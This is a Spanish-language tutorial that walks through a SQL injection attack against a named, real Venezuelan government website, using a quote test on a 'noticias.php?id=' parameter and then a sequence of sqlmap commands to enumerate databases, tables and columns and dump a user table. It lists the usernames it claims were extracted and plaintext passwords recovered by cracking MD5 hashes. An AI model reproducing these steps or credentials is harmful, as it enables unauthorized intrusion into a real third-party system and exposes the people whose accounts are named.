Errores de SQL

¿Qué es un error de SQL?

Es un error de sintaxis de una página web la cual nos permite penetrarla mediante una
inyección de SQL, la cual es muy provechada para tener acceso a toda la base de datos de la
web afectada con dicho ataque

Este error lo podemos encontrar mediante las conocidas Dork de Google que son las más
usadas para hallar este tipo de errores o utilizando un Scanner de vulnerabilidades web la cual
es un método profesional de buscar diferentes tipos de errores.

Las herramientas más conocida para penetrar las base de datos de una web son:

Sqlmap

Havij

Webcruiser

Acunetix
 Aprendiendo SQLMAP
Primero buscamos una web " Vulnerable por Ejemplo”
http://www.fonep.gob.ve/noticias.php Como verán dicha web se ve normal a simple vista pero no es asi,
Pues hay un parámetro inyectable " Noticias.php?id=195”

http://www.fonep.gob.ve/noticias.php?id=195

Como nos Damos cuenta que tiene una vulnerabilidad esta web? , pues es sencillo las vulnerabilidades
son Bug que son Errores de Fuente que pueden ser Vulnerables a una penetración

http://www.fonep.gob.ve/noticias.php?id=195 >> ' << le agregaremos esta comilla, Así Ejemplo

http://www.fonep.gob.ve/noticias.php?id='195
Miren Como la web nos vota todos los Errores del SQL

Ahora Sabemos que la Web Esta 100 % Vulnerable Ahora La Inyectaremos Mediante " SqlMap”

1 - Abrimos SqlMapsaldra sus Toolz , en la terminal podemos lo siente

./sqlmap.py -u http://www.fonep.gob.ve/ noticias.php?id=195 --dbs

Como Vieron nos votó 2 Data Base, La opcional es Information_schema " lo que nos interesa es Esta "
penof_cms”
Ahora Pondremos Esto

./sqlmap.py -u http://www.fonep.gob.ve/ noticias.php?id=195 --dbs -D penof_cms–tables

Como ven Nos Votó 20 Tablas " las Cual lo que nos interesa es el usuario " justamente en esa web Esta
a Simple Vista " fonep_usuarios " Ahora Pondremos Esto

./sqlmap.py -u http://www.fonep.gob.ve/ noticias.php?id=195 -D penof_cms -T fonep_usuarios–

columns

Como verán nos votó 9 Columnas Entraremos a " id_usuarios "

Pondremos esto

./sqlmap.py -u http://www.fonep.gob.ve/ noticias.php?id=195 -D penof_cms -T fonep_usuarios -C

nombre_usuarios --dump

Como vemos los usuarios son:

-Ernesto

-Luis

-Sergio
Ahora sacaremos la password de esas ID pondremos Esto

./sqlmap.py -u http://www.fonep.gob.ve/ noticias.php?id=195 -D penof_cms -T fonep_usuarios -C

clave_usuarios --dump

Como Verán Nos Vota 3 Claves, " Pero Están Encriptados ^^ " Para Ello Necesitamos Desencryptarlas
Como esta en Extensión MD5 Podemos Desencryptarlas En Esta Web:

http://www.md5decrypter.co.uk/

Las Claves Son:

3sert

54321abub

resres